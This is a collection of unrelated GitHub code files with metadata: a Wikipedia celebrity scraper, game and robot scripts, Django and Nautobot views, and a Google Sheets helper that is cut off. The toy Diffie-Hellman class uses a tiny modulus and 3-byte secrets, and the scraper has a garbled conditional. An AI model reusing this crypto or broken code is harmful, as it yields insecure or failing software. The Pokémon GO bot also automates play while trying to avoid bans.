sup_tag=html.sup.extract()\n info_box=html.find('table',{'class':'infobox'})\n name=info_box.find({'span','caption'},{'class':'fn'})\n #bday=info_box.find({'span'},{'class':'bday'})\n group=info_box.find({'th'},{'class':'title role'})\n nickname=info_box.find({'td'},{'class':'nickname'})\n\n dday=info_box.find('span',{'class':'dday'})\n if(dday!=None):\n continue\n \n bday=info_box.find('span',{'class':'bday'})\n if(bday==None):\n continue\n\n currentage=info_box.find('span',{'class':'noprint'})\n age=currentage.text\n str_age=''\n l=len(age)\n for j in range(l):\n if(j>0 and j75):\n continue\n\n if(group!=None):\n if(group.text==\"组合\" or group.text==\"樂團\" or group.text==\"乐队\"):\n continue\n\n index=len(information['姓名'])\n information.loc[index,'生日']=bday.text\n name=info_box.find('span',{'class':'fn'})\n\n if(name):\n temp_name=name.text\n str_name=''\n l=len(name.text)\n for j in range(l):\n if('\\u4e00' <= temp_name[j] <= '\\u9fa5'):\n str_name+=temp_name[j]\n elif(temp_name[j]=='·'):\n str_name+=temp_name[j]\n elif(temp_name[j]>='a' and temp_name[j]<='z'):\n str_name+=temp_name[j]\n elif(temp_name[j]>='A' and temp_name[j]<='Z'):\n str_name+=temp_name[j]\n else:\n break\n if(str_name==''):\n information.loc[index,'姓名']=data['name'][i]\n print(data['name'][i], end=' ')\n else:\n information.loc[index,'姓名']=str_name\n print(str_name, end=' ')\n else:\n information.loc[index,'姓名']=data['name'][i]\n print(data['name'][i], end=' ')\n \n tbody=info_box.find('tbody')\n tr=tbody.find_all('tr')\n\n str_spouse=''\n count=0\n\n information.loc[index,'性別']=\"None\"\n for Tr in tr:\n if(Tr.th):\n if(Tr.th.text=='性别'):\n print(Tr.td.text, end=' ')\n information.loc[index,'性別']=Tr.td.text\n elif(Tr.th.text=='配偶'):\n TD=Tr.find('td')\n str_spouse=TD.text \n spouse=Tr.find_all('span',{'itemprop':'spouse'})\n if(spouse):\n for s in spouse:\n count+=1\n else:\n if(str_spouse!=''):\n count=1\n \n if(count==0):\n information.loc[index,'婚姻狀態']=0\n print(\"單身\", end=' ')\n elif(count==1):\n marriage=True\n for j in range(len(str_spouse)):\n if(str_spouse[j]=='結'):\n marriage=True\n elif(str_spouse[j]=='離'):\n marriage=False\n if(marriage):\n information.loc[index,'婚姻狀態']=1\n print(\"已婚\", end=' ')\n else:\n information.loc[index,'婚姻狀態']=2\n print(\"離婚\", end=' ')\n else:\n marriage=True\n for j in range(len(str_spouse)):\n if(str_spouse[j]=='結'):\n marriage=True\n elif(str_spouse[j]=='離'):\n marriage=False\n if(marriage):\n information.loc[index,'婚姻狀態']=3\n print(\"再婚\", end=' ')\n else:\n information.loc[index,'婚姻狀態']=2\n print(\"離婚\", end=' ')\n\n if(nickname!= None):\n print(nickname.text,end=' ')\n information.loc[index,'aka']=nickname.text\n else:\n print(\"no nickname\",end=' ')\n information.loc[index,'aka']=\"None\"\n\n information.loc[index,'職業']=\"None\"\n if(group!=None):\n information.loc[index,'職業']=group.text\n\n information.loc[index,'性別']='None'\n if(group.text==\"男艺人\" or group.text==\"男演员\" or group.text==\"男歌手\"):\n print(\"M\",end=' ')\n information.loc[index,'性別']='M'\n \n if(group.text==\"女艺人\" or group.text==\"女演员\" or group.text==\"女歌手\"):\n print(\"F\",end=' ')\n information.loc[index,'性別']='F' \n print()\n except:\n continue\ninformation=information.drop_duplicates()\ninformation.to_csv(\"Info.csv\", encoding=\"utf-8-sig\", index=False)\n ","repo_name":"ray326/Wiki-Crawler","sub_path":"Singer/singer_page.py","file_name":"singer_page.py","file_ext":"py","file_size_in_byte":5235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"38815260038","text":"from game.gui.menus import TextScroller, TextMenu, MenuItem\n\n\nclass BattleGui:\n def __init__(self, player, enemies):\n self.root = aspect2d.attach_new_node(\"Battle Gui\")\n self.battle = BattleGameplay(player_gl=player, enemies_data=enemies)\n self.describe = TextScroller(-1,-0.5, 28, 5)\n self.describe.set_text(\"\\nBattle begins!\")\n self.describe.root.reparent_to(self.root)\n self.buffer = base.printer.buffer = []\n\n # Abstract this.\n base.cardmaker.set_frame(-0.5,0.5,-0.5,0.5)\n self.enemy = self.root.attach_new_node(base.cardmaker.generate())\n texture = loader.load_texture(\"assets/images/enemies/boze_smurf.png\")\n texture.set_minfilter(0); texture.set_magfilter(0)\n self.enemy.set_texture(texture)\n self.enemy.set_transparency(True)\n self.enemy.set_scale(1.5,1.5,1.5)\n\n\n self.main_menu = TextMenu([\n MenuItem(\n \"Attack\", \"Attack enemy.\", \n function=[self.attack_menu]\n ),\n MenuItem(\n \"Psi\", \"Use psi ability.\",\n function=[self.attack_menu]\n ),\n MenuItem(\n \"TurnPass\", \"Use psi ability.\",\n function=[self.attack_menu]\n ),\n MenuItem(\n \"Item\", \"Use an item.\",\n function=[self.attack_menu]\n ),\n ], x=0.5, y=0.8)\n\n self.menu = self.main_menu\n self.menu.root.reparent_to(self.root)\n\n def send_command(self, command):\n self.battle.battle_turn(command)\n self.switch_to(self.main_menu)\n\n def attack_menu(self):\n # read enemies and see who's alive\n self.attack_menu = TextMenu([\n MenuItem(\n \"Magical mayonaise\", \n \"A very magical mayonaise, oh no!\",\n function=[self.send_command, \"attack magical mayonaise\"]\n ),\n MenuItem(\n \"Attack borger burger\", \n \"A furious borger borger, aaaaah!\",\n function=[self.send_command, \"attack borger burger\"]\n ),\n MenuItem(\n \"cancel\", \n \"don't attack\", \n function=[self.switch_to, self.main_menu],\n ),\n ], x=0.5, y=0.8)\n self.menu.root.detach_node()\n self.menu = self.attack_menu\n self.menu.root.reparent_to(self.root)\n\n\n def switch_to(self, menu):\n self.menu.root.detach_node()\n self.menu = menu\n self.menu.root.reparent_to(self.root)\n\n def update(self):\n while len(self.buffer) > 0: \n self.describe.add_text(self.buffer.pop(0)+\"\\n\")\n self.describe.done = False\n\n if not self.describe.done:\n self.describe.update()\n else:\n self.menu.interact()\n if not self.menu.alive:\n return True","repo_name":"henderikjahan/stationgame","sub_path":"game/gui/battle.py","file_name":"battle.py","file_ext":"py","file_size_in_byte":2933,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"23577472585","text":"\nlimit = 90\npos = 0\nfound = False\nvalues = [90, 80, 70, 60]\nwhile pos < len(values) and not found:\n if values [pos] == limit:\n found = True\n else:\n pos = pos + 1\nif found:\n print(\"the postion\", pos)\nelse:\n (\"not found\")","repo_name":"Amani-k-cpu/Amani","sub_path":"find num.py","file_name":"find num.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"24249316302","text":"from app import Plugin\nfrom app import kernel\nfrom pokemongo_bot.human_behaviour import sleep\n\n\n@kernel.container.register('transfer_pokemon', ['@config.transfer_pokemon', '@event_manager', '@logger'],\n tags=['plugin'])\nclass TransferPokemon(Plugin):\n def __init__(self, config, event_manager, logger):\n self.config = config\n self.event_manager = event_manager\n self.set_logger(logger, 'Transfer')\n\n if self.config[\"transfer_on_start\"]:\n self.event_manager.add_listener('bot_initialized', self.transfer_on_bot_start)\n\n self.event_manager.add_listener('pokemon_bag_full', self.filter_deployed_pokemon, priority=-50)\n self.event_manager.add_listener('pokemon_bag_full', self.filter_favorited_pokemon, priority=-40)\n self.event_manager.add_listener('pokemon_caught', self.wrap_pokemon_in_list, priority=-30)\n\n self.event_manager.add_listener('pokemon_caught', self.filter_pokemon_by_ignore_list, priority=-20)\n self.event_manager.add_listener('pokemon_bag_full', self.filter_pokemon_by_ignore_list, priority=-20)\n\n self.event_manager.add_listener('pokemon_caught', self.filter_pokemon_by_cp_iv, priority=-10)\n self.event_manager.add_listener('pokemon_bag_full', self.filter_pokemon_by_cp_iv, priority=-10)\n\n self.event_manager.add_listener('pokemon_caught', self.transfer_pokemon, priority=0)\n self.event_manager.add_listener('transfer_pokemon', self.transfer_pokemon, priority=0)\n self.event_manager.add_listener('pokemon_bag_full', self.transfer_pokemon, priority=0)\n\n @staticmethod\n def transfer_on_bot_start(bot):\n bot.fire(\"pokemon_bag_full\")\n\n @staticmethod\n def get_transfer_list(bot, transfer_list=None):\n if transfer_list is None:\n transfer_list = bot.player_service.get_pokemon()\n\n return None if len(transfer_list) == 0 else transfer_list\n\n def get_indexed_pokemon(self, bot, transfer_list=None):\n transfer_list = self.get_transfer_list(bot, transfer_list)\n if transfer_list is None:\n return None\n\n indexed_pokemon = dict()\n for deck_pokemon in transfer_list:\n pokemon_num = deck_pokemon.pokemon_id\n if pokemon_num not in indexed_pokemon:\n indexed_pokemon[pokemon_num] = list()\n indexed_pokemon[pokemon_num].append(deck_pokemon)\n\n return indexed_pokemon\n\n # Filters Pokemon deployed at gyms\n # Never disable as it might lead to a ban!\n def filter_deployed_pokemon(self, bot, transfer_list=None, filter_list=None):\n # type: (PokemonGoBot, Optional[List[Pokemon]]), Optional[List[str]] -> Dict[Str, List]\n\n filter_list = [] if filter_list is None else filter_list\n transfer_list = self.get_transfer_list(bot, transfer_list)\n if transfer_list is None:\n return False\n\n new_transfer_list = [deck_pokemon for deck_pokemon in transfer_list if deck_pokemon.deployed_fort_id is None]\n\n if len(new_transfer_list) != len(transfer_list):\n filter_list.append(\"excluding Pokemon at gyms\")\n\n return {\"transfer_list\": new_transfer_list, \"filter_list\": filter_list}\n\n # Filters favorited Pokemon\n # Never disable as it might lead to a ban!\n def filter_favorited_pokemon(self, bot, transfer_list=None, filter_list=None):\n # type: (PokemonGoBot, Optional[List[Pokemon]]), Optional[List[str]] -> Dict[Str, List]\n\n filter_list = [] if filter_list is None else filter_list\n transfer_list = self.get_transfer_list(bot, transfer_list)\n if transfer_list is None:\n return False\n\n new_transfer_list = [deck_pokemon for deck_pokemon in transfer_list if deck_pokemon.favorite is False]\n\n if len(new_transfer_list) != len(transfer_list):\n filter_list.append(\"excluding favorited Pokemon\")\n\n return {\"transfer_list\": new_transfer_list, \"filter_list\": filter_list}\n\n # Wraps a caught Pokemon into a list for transferring\n @staticmethod\n def wrap_pokemon_in_list(transfer_list=None, pokemon=None):\n if pokemon is None:\n return\n\n if transfer_list is None:\n transfer_list = []\n\n transfer_list.append(pokemon)\n return {\"transfer_list\": transfer_list}\n\n # Filters Pokemon based on ignore/always keep list\n def filter_pokemon_by_ignore_list(self, bot, transfer_list=None, filter_list=None):\n # type: (PokemonGoBot, Optional[List[Pokemon]]), Optional[List[str]] -> Dict[Str, List]\n\n if self.config[\"use_always_keep_filter\"] is False:\n return\n\n filter_list = [] if filter_list is None else filter_list\n transfer_list = self.get_transfer_list(bot, transfer_list)\n if transfer_list is None:\n return False\n\n always_keep_list = self.config[\"always_keep\"]\n\n new_transfer_list = []\n excluded_species = set()\n for pokemon in transfer_list:\n species_num = pokemon.pokemon_id\n species_name = bot.pokemon_list[species_num - 1][\"Name\"]\n if species_name not in always_keep_list or isinstance(always_keep_list[species_name], dict) and \"keep\" in always_keep_list[species_name] and always_keep_list[species_name][\"keep\"] is False:\n new_transfer_list.append(pokemon)\n else:\n excluded_species.add(species_name)\n\n if len(new_transfer_list) != len(transfer_list):\n if len(excluded_species) > 1:\n excluded_species_list = list(excluded_species)\n filter_list.append(\n \"excluding \" + \"s, \".join(excluded_species_list[:-1]) + \"s and \" + excluded_species_list[-1] + \"s\")\n else:\n filter_list.append(\"excluding \" + excluded_species.pop() + \"s\")\n\n return {\"transfer_list\": new_transfer_list, \"filter_list\": filter_list}\n\n # TODO: Fix this function to use dependency injection for release rules\n def filter_pokemon_by_cp_iv(self, bot, transfer_list=None, filter_list=None):\n # type: (PokemonGoBot, Optional[List[Pokemon]]), Optional[List[str]] -> Dict[Str, List]\n\n if self.config[\"use_cp_iv_filter\"] is False:\n return\n\n filter_list = [] if filter_list is None else filter_list\n filter_list.append(\"according to per-species CP/IV rules\")\n\n transfer_list = self.get_transfer_list(bot, transfer_list)\n if transfer_list is None:\n return False\n\n cp_iv_rules = self.config[\"cp_iv_rules\"]\n default_rules = cp_iv_rules[\"default\"]\n\n indexed_pokemon = self.get_indexed_pokemon(bot, transfer_list)\n\n pokemon_groups = list(indexed_pokemon.keys())\n for pokemon_group in pokemon_groups:\n\n # skip if it's our only pokemon of this type\n if len(indexed_pokemon[pokemon_group]) < 2:\n del indexed_pokemon[pokemon_group]\n continue\n\n # Load rules for this group. If rule doesnt exist make one with default settings.\n pokemon_name = bot.pokemon_list[pokemon_group - 1][\"Name\"]\n pokemon_rules = cp_iv_rules.get(pokemon_name, default_rules)\n cp_threshold = pokemon_rules['release_below_cp']\n iv_threshold = pokemon_rules['release_below_iv']\n rules_logic = pokemon_rules['logic']\n\n # only keep everything below specified CP\n group_transfer_list = []\n for deck_pokemon in indexed_pokemon[pokemon_group]:\n\n # is the Pokemon's CP less than our set threshold?\n within_cp = (deck_pokemon.combat_power <= cp_threshold)\n\n # is the Pokemon's IV less than our set threshold?\n within_potential = (deck_pokemon.potential <= iv_threshold)\n\n # if we are using AND logic and both are true, transfer\n if rules_logic == 'and' and (within_cp and within_potential):\n group_transfer_list.append(deck_pokemon)\n\n # if we are using OR logic and either is true, transfer\n elif rules_logic == 'or' and (within_cp or within_potential):\n group_transfer_list.append(deck_pokemon)\n\n # Check if we are trying to remove all the pokemon in this group.\n if len(group_transfer_list) == len(indexed_pokemon[pokemon_group]):\n # Sort by CP * potential and keep the best one\n indexed_pokemon[pokemon_group].sort(key=lambda p: p.combat_power * p.potential)\n indexed_pokemon[pokemon_group] = indexed_pokemon[pokemon_group][:-1]\n else:\n indexed_pokemon[pokemon_group] = group_transfer_list\n\n new_transfer_list = []\n pokemon_groups = list(indexed_pokemon.keys())\n for pokemon_group in pokemon_groups:\n for deck_pokemon in indexed_pokemon[pokemon_group]:\n new_transfer_list.append(deck_pokemon)\n\n return {\"transfer_list\": new_transfer_list, \"filter_list\": filter_list}\n\n def transfer_pokemon(self, bot, transfer_list=None, filter_list=None):\n # type: (PokemonGoBot, Optional[List[Pokemon]], Optional[List[str]]) -> None\n\n filter_list = [] if filter_list is None else filter_list\n\n if transfer_list is None or len(transfer_list) == 0:\n return False\n\n output_str = \"Transferring {} Pokemon\".format(len(transfer_list))\n\n # Print out the list of filters used\n filter_list = filter_list[::-1]\n if len(filter_list) > 1:\n output_str += \" \" + \", \".join(filter_list[:-1]) + \" and \" + filter_list[-1]\n elif len(filter_list) == 1:\n output_str += \" \" + filter_list[0]\n\n self.log(output_str)\n\n for index, pokemon in enumerate(transfer_list):\n pokemon_num = pokemon.pokemon_id\n pokemon_name = bot.pokemon_list[pokemon_num - 1][\"Name\"]\n pokemon_cp = pokemon.combat_power\n pokemon_potential = pokemon.potential\n self.log(\n \"Transferring {0} (#{1}) with CP {2} and IV {3} ({4}/{5})\".format(\n pokemon_name,\n pokemon_num,\n pokemon_cp,\n pokemon_potential,\n index + 1,\n len(transfer_list)\n )\n )\n\n bot.api_wrapper.release_pokemon(pokemon_id=pokemon.unique_id).call()\n sleep(2)\n bot.player_service.add_candy(pokemon_num, 1)\n bot.fire('after_transfer_pokemon', pokemon=pokemon)\n\n self.log(\"Transferred {} Pokemon.\".format(len(transfer_list)))\n","repo_name":"tehp/OpenPoGoBot","sub_path":"plugins/transfer_pokemon/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":10682,"program_lang":"python","lang":"en","doc_type":"code","stars":122,"dataset":"github-code","pt":"70"} +{"seq_id":"33825385274","text":"#!/usr/bin/env python3\n'''Hello to the world from ev3dev.org'''\n\nimport os\nimport sys\nimport time\nfrom ev3dev2.motor import LargeMotor, OUTPUT_A, OUTPUT_B, SpeedPercent, MoveTank\nfrom ev3dev2.sensor import INPUT_1\nfrom ev3dev2.sensor.lego import TouchSensor\nfrom ev3dev2.led import Leds\nfrom ev3dev2.motor import MoveSteering, OUTPUT_B, OUTPUT_C\n\nfrom ev3dev2.sensor.lego import ColorSensor\nfrom time import sleep\nfrom ev3dev2.sound import Sound\n\n# state constants\nON = True\nOFF = False\n\ndef colorSensor():\n color_sensor = ColorSensor()\n sound = Sound()\n\n while True:\n color = color_sensor.color\n text = ColorSensor.COLORS[color]\n sound.speak(text)\n\ndef move():\n motor_pair = MoveSteering(OUTPUT_B, OUTPUT_C)\n touch_sensor = TouchSensor()\n\n # Start robot moving forward\n motor_pair.on(steering=0, speed=60)\n\n # Wait until robot touches wall\n touch_sensor.wait_for_pressed()\n\n # Stop moving forward\n motor_pair.off()\n\n # Reverse away from wall\n motor_pair.on_for_seconds(steering=0, speed=-10, seconds=2)\n motor_pair.on_for_rotations(steering=-100, speed=15, rotations=0.5)\n motor_pair.on_for_rotations(steering=-100, speed=15, rotations=0.5)\n\ndef touchLeds():\n ts = TouchSensor()\n leds = Leds()\n\n print(\"Press the touch sensor to change the LED color!\")\n\n while True:\n if ts.is_pressed:\n leds.set_color(\"LEFT\", \"GREEN\")\n leds.set_color(\"RIGHT\", \"GREEN\")\n else:\n leds.set_color(\"LEFT\", \"RED\")\n leds.set_color(\"RIGHT\", \"RED\")\n\ndef square():\n motor_pair = MoveSteering(OUTPUT_B, OUTPUT_C)\n\n for i in range(4):\n # Move robot forward for 3 seconds\n motor_pair.on_for_seconds(steering=0, speed=50, seconds=3)\n # Turn robot left 90 degrees (adjust rotations for your particular robot)\n motor_pair.on_for_rotations(steering=-100, speed=15, rotations=0.5)\n\ndef debug_print(*args, **kwargs):\n '''Print debug messages to stderr.\n This shows up in the output panel in VS Code.\n '''\n print(*args, **kwargs, file=sys.stderr)\n\n\ndef reset_console():\n '''Resets the console to the default state'''\n print('\\x1Bc', end='')\n\n\ndef set_cursor(state):\n '''Turn the cursor on or off'''\n if state:\n print('\\x1B[?25h', end='')\n else:\n print('\\x1B[?25l', end='')\n\n\ndef set_font(name):\n '''Sets the console font\n A full list of fonts can be found with `ls /usr/share/consolefonts`\n '''\n os.system('setfont ' + name)\n\n\ndef main():\n '''The main function of our program'''\n\n # set the console just how we want it\n reset_console()\n set_cursor(OFF)\n set_font('Lat15-Terminus24x12')\n\n\n # print something to the output panel in VS Code\n debug_print('Hello VS Code!')\n\n # colorSensor()\n move()\n # touchLeds()\n\n\nif __name__ == '__main__':\n main()","repo_name":"anamariasosam/legoMindstorm","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":2866,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"8463199180","text":"# -*- coding: utf-8 -*-\n\n#from django.forms import ModelForm\nfrom django import forms\nfrom vacios.models import Vacios\nfrom estacion.models import Estacion\nfrom formato.models import Variable\n\nclass VaciosSearchForm(forms.Form):\n estacion=forms.ModelChoiceField(required=False,\n queryset=Estacion.objects.order_by('est_id').all())\n variable=forms.ModelChoiceField(required=False,\n queryset=Variable.objects.order_by('var_id').all())\n lista=[]\n def filtrar(self,form):\n variable=form.cleaned_data['variable']\n estacion=form.cleaned_data['estacion']\n if variable and estacion:\n lista=Vacios.objects.filter(\n var_id=variable\n ).filter(\n est_id=estacion\n )\n elif variable is None and estacion:\n lista=Vacios.objects.filter(\n est_id=estacion\n )\n elif estacion is None and variable:\n lista=Vacios.objects.filter(\n var_id=variable\n )\n else:\n lista=Vacios.objects.all()\n return lista\n","repo_name":"paul19pv/pry_sedc","sub_path":"sedc/vacios/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"2867001261","text":"# adsec15 Fall 2019\n\nfrom Crypto import Random\n\nclass ObjSDH:\n\n\n \n n = 5029469\n g = 18\n @classmethod\n def createDiffieHellmanKey(cls, receivedValue, secretValue):\n return cls.power(receivedValue,secretValue,cls.n)\n\n @classmethod\n def createDiffieHellmanValue(cls):\n dhPrivValue = int.from_bytes(Random.new().read(3), 'little') % cls.n\n dhValue = cls.power(cls.g, dhPrivValue, cls.n)\n return(dhPrivValue,dhValue)\n\n # Iterative Function to calculate \n # (x^y)%p in O(log y)\n \n @staticmethod\n def power(x, y, p) : \n res = 1 \n x = x % p \n \n while (y > 0) : \n\n if ((y & 1) == 1) : \n res = (res * x) % p \n \n y = y >> 1 \n x = (x * x) % p \n\n return res ","repo_name":"AlexBlumer/AdvCompSec","sub_path":"ObjectSecurity/diffie_hellman.py","file_name":"diffie_hellman.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"22597365711","text":"from drf_spectacular.utils import extend_schema, extend_schema_view\nfrom rest_framework.routers import APIRootView\n\nfrom nautobot.dcim.models import Device\nfrom nautobot.extras.api.views import (\n ConfigContextQuerySetMixin,\n NautobotModelViewSet,\n ModelViewSet,\n NotesViewSetMixin,\n StatusViewSetMixin,\n)\nfrom nautobot.utilities.utils import count_related, SerializerForAPIVersions, versioned_serializer_selector\nfrom nautobot.virtualization import filters\nfrom nautobot.virtualization.models import (\n Cluster,\n ClusterGroup,\n ClusterType,\n VirtualMachine,\n VMInterface,\n)\nfrom . import serializers\n\n\nclass VirtualizationRootView(APIRootView):\n \"\"\"\n Virtualization API root view\n \"\"\"\n\n def get_view_name(self):\n return \"Virtualization\"\n\n\n#\n# Clusters\n#\n\n\nclass ClusterTypeViewSet(NautobotModelViewSet):\n queryset = ClusterType.objects.annotate(cluster_count=count_related(Cluster, \"type\"))\n serializer_class = serializers.ClusterTypeSerializer\n filterset_class = filters.ClusterTypeFilterSet\n\n\nclass ClusterGroupViewSet(NautobotModelViewSet):\n queryset = ClusterGroup.objects.annotate(cluster_count=count_related(Cluster, \"group\"))\n serializer_class = serializers.ClusterGroupSerializer\n filterset_class = filters.ClusterGroupFilterSet\n\n\nclass ClusterViewSet(NautobotModelViewSet):\n queryset = Cluster.objects.prefetch_related(\"type\", \"group\", \"tenant\", \"site\", \"tags\").annotate(\n device_count=count_related(Device, \"cluster\"),\n virtualmachine_count=count_related(VirtualMachine, \"cluster\"),\n )\n serializer_class = serializers.ClusterSerializer\n filterset_class = filters.ClusterFilterSet\n\n\n#\n# Virtual machines\n#\n\n\nclass VirtualMachineViewSet(ConfigContextQuerySetMixin, StatusViewSetMixin, NautobotModelViewSet):\n queryset = VirtualMachine.objects.prefetch_related(\n \"cluster__site\",\n \"platform\",\n \"primary_ip4\",\n \"primary_ip6\",\n \"status\",\n \"role\",\n \"tenant\",\n \"tags\",\n )\n filterset_class = filters.VirtualMachineFilterSet\n\n def get_serializer_class(self):\n \"\"\"\n Select the specific serializer based on the request context.\n\n If the `brief` query param equates to True, return the NestedVirtualMachineSerializer\n\n If the `exclude` query param includes `config_context` as a value, return the VirtualMachineSerializer\n\n Else, return the VirtualMachineWithConfigContextSerializer\n \"\"\"\n\n request = self.get_serializer_context()[\"request\"]\n if request is not None and request.query_params.get(\"brief\", False):\n return serializers.NestedVirtualMachineSerializer\n\n elif request is not None and \"config_context\" in request.query_params.get(\"exclude\", []):\n return serializers.VirtualMachineSerializer\n\n return serializers.VirtualMachineWithConfigContextSerializer\n\n\n@extend_schema_view(\n bulk_update=extend_schema(\n responses={\"200\": serializers.VMInterfaceSerializerVersion12(many=True)}, versions=[\"1.2\", \"1.3\"]\n ),\n bulk_partial_update=extend_schema(\n responses={\"200\": serializers.VMInterfaceSerializerVersion12(many=True)}, versions=[\"1.2\", \"1.3\"]\n ),\n create=extend_schema(responses={\"201\": serializers.VMInterfaceSerializerVersion12}, versions=[\"1.2\", \"1.3\"]),\n list=extend_schema(\n responses={\"200\": serializers.VMInterfaceSerializerVersion12(many=True)}, versions=[\"1.2\", \"1.3\"]\n ),\n partial_update=extend_schema(\n responses={\"200\": serializers.VMInterfaceSerializerVersion12}, versions=[\"1.2\", \"1.3\"]\n ),\n retrieve=extend_schema(responses={\"200\": serializers.VMInterfaceSerializerVersion12}, versions=[\"1.2\", \"1.3\"]),\n update=extend_schema(responses={\"200\": serializers.VMInterfaceSerializerVersion12}, versions=[\"1.2\", \"1.3\"]),\n)\nclass VMInterfaceViewSet(StatusViewSetMixin, ModelViewSet, NotesViewSetMixin):\n queryset = VMInterface.objects.prefetch_related(\n \"virtual_machine\", \"parent_interface\", \"bridge\", \"status\", \"tags\", \"tagged_vlans\"\n )\n serializer_class = serializers.VMInterfaceSerializer\n filterset_class = filters.VMInterfaceFilterSet\n brief_prefetch_fields = [\"virtual_machine\"]\n\n def get_serializer_class(self):\n serializer_choices = (\n SerializerForAPIVersions(versions=[\"1.2\", \"1.3\"], serializer=serializers.VMInterfaceSerializerVersion12),\n )\n return versioned_serializer_selector(\n obj=self,\n serializer_choices=serializer_choices,\n default_serializer=super().get_serializer_class(),\n )\n","repo_name":"uthapa82/nautobot-plugin-ixia","sub_path":"nautobot/virtualization/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4624,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"72444255908","text":"from movement_assistant.classes.botupdate import BotUpdate\nimport gspread\nimport os\nimport json\nimport pickle\nfrom oauth2client.service_account import ServiceAccountCredentials\nfrom movement_assistant.modules import settings, utils, database\nfrom datetime import datetime\n\nif not (os.path.isfile('movement_assistant/secrets/sheet_token.pkl') and os.path.getsize('movement_assistant/secrets/sheet_token.pkl') > 0):\n # use creds to create a client to interact with the Google Drive API\n scope = [\n 'https://spreadsheets.google.com/feeds',\n 'https://www.googleapis.com/auth/drive',\n 'https://www.googleapis.com/auth/drive.file',\n 'https://www.googleapis.com/auth/drive']\n # CREDENTIALS HAVE NOT BEEN INITIALIZED BEFORE\n client_secret = os.environ.get('CLIENT_SECRET')\n if client_secret == None:\n # CODE RUNNING LOCALLY\n print('DATABASE: Resorted to local JSON file')\n with open('movement_assistant/secrets/client_secret.json') as json_file:\n client_secret_dict = json.load(json_file)\n else:\n # CODE RUNNING ON SERVER\n client_secret_dict = json.loads(client_secret)\n print(\"JSON CLIENT SECRET: \", type(client_secret_dict))\n\n creds = ServiceAccountCredentials.from_json_keyfile_dict(\n client_secret_dict, scope)\n pickle.dump(creds, open(\n 'movement_assistant/secrets/sheet_token.pkl', 'wb'))\n\ncreds = pickle.load(\n open(\"movement_assistant/secrets/sheet_token.pkl\", \"rb\"))\nclient = gspread.authorize(creds)\n\n# IF NO SPREADSHEET ENV VARIABLE HAS BEEN SET, SET UP NEW SPREADSHEET\nif settings.get_var('SPREADSHEET') == None:\n print(\"DATABASE: Create new database\")\n settings.set_sheet(client)\nprint(\"DATABASE: id == \", settings.get_var('SPREADSHEET'))\n\nSPREADSHEET = settings.get_var('SPREADSHEET')\nspreadsheet = client.open_by_key(SPREADSHEET)\ngroupchats = spreadsheet.get_worksheet(0)\ncalls = spreadsheet.get_worksheet(1)\narchive = spreadsheet.get_worksheet(2)\nlogs = spreadsheet.get_worksheet(3)\n\n\ndef log(timestamp, user_id, action, group_name, item=''):\n print('LOG')\n logs.append_row([timestamp, user_id, action, group_name, item])\n\n\ndef save_group(botupdate):\n # SAVE GROUP IN DATABASE\n group = botupdate.obj\n parent_title = ''\n if group.is_subgroup:\n parent_title = database.get(group.parentgroup)[0].title\n print(\"SHEET: Saved group | Parent: \", parent_title, ' | Key: ', group.key)\n groupchats.append_row([group.key, group.title, group.category, group.region, group.restriction,\n group.admin_string, group.platform, parent_title, group.purpose, group.onboarding, str(group.date), group.activator_name])\n # LOG\n log(str(group.date), botupdate.user.id, 'ACTIVATE GROUP', group.title)\n\n\ndef edit_group(botupdate):\n group = botupdate.obj\n old_row = find_row_by_id(item_id=group.key)[0]\n groupchats.delete_row(old_row)\n parent_title = ''\n parent = database.get(group.parentgroup)[0]\n if group.is_subgroup:\n parent_title = parent.title\n print(\"SHEET: Edited group | Parent: \", parent_title)\n groupchats.append_row([group.key, group.title, group.category, group.region, group.restriction,\n group.admin_string, group.platform, parent_title, group.purpose, group.onboarding, str(group.date), group.activator_name])\n # LOG\n log(str(group.date), botupdate.user.id, 'EDIT_GROUP', group.title)\n\n\ndef archive_group(chat_id, username):\n print(\"DATABASE: Archive Group Started\")\n group_info = find_row_by_id(chat_id)[0]\n group_info.append(str(utils.now_time()))\n # ADD GROUP INFO TO ARCHIVE\n archive.append_row(group_info)\n # function is not complete\n\n\ndef delete_group(botupdate):\n group = botupdate.obj\n # DELETE CHILDREN LINKS IN DATABASE\n if group.children[0] != None:\n for child in group.children:\n print('DATABASE: delete_group(): Child: ', child)\n row = find_row_by_id(item_id=group.key)[0]\n groupchats.update_cell(row, 8, '')\n print(\"DATABASE: Deleted children\")\n\n # REMOVE ROW FROM GROUPS SHEET\n print('SHEET: Group Key: ', group.key)\n try: groupchats.delete_row(find_row_by_id(item_id=group.key)[0])\n except: pass\n\n # REMOVE CALLS\n for call in group.calls:\n delete_call(BotUpdate(update=botupdate.update, user=botupdate.user, obj=call))\n\n # LOG\n log(str(utils.now_time()), botupdate.user.id, 'DELETE GROUP', group.title)\n\n\ndef save_call(botupdate):\n # SAVE IN SHEET\n call = botupdate.obj\n calls.append_row([call.key, database.get_group_title(call.chat_id), call.title, str(call.date), str(\n call.time), call.duration_string, call.description, call.agenda_link, call.calendar_url, botupdate.card_url, botupdate.user.name])\n\n # LOG\n log(str(utils.now_time()), botupdate.update.effective_chat.id, 'NEW CALL',\n database.get_group_title(call.chat_id), call.title)\n\n\ndef delete_call(botupdate: BotUpdate):\n call = botupdate.obj\n call_row = find_row_by_id(sheet=calls, item_id=call.key)[0]\n calls.delete_row(call_row)\n log(str(utils.now_time()), botupdate.user.id, 'DELETE CALL',\n database.get_group_title(call.chat_id), call.title)\n\n \ndef edit_call(botupdate):\n call = botupdate.obj\n print('TRELLOC: Key to look for: ', 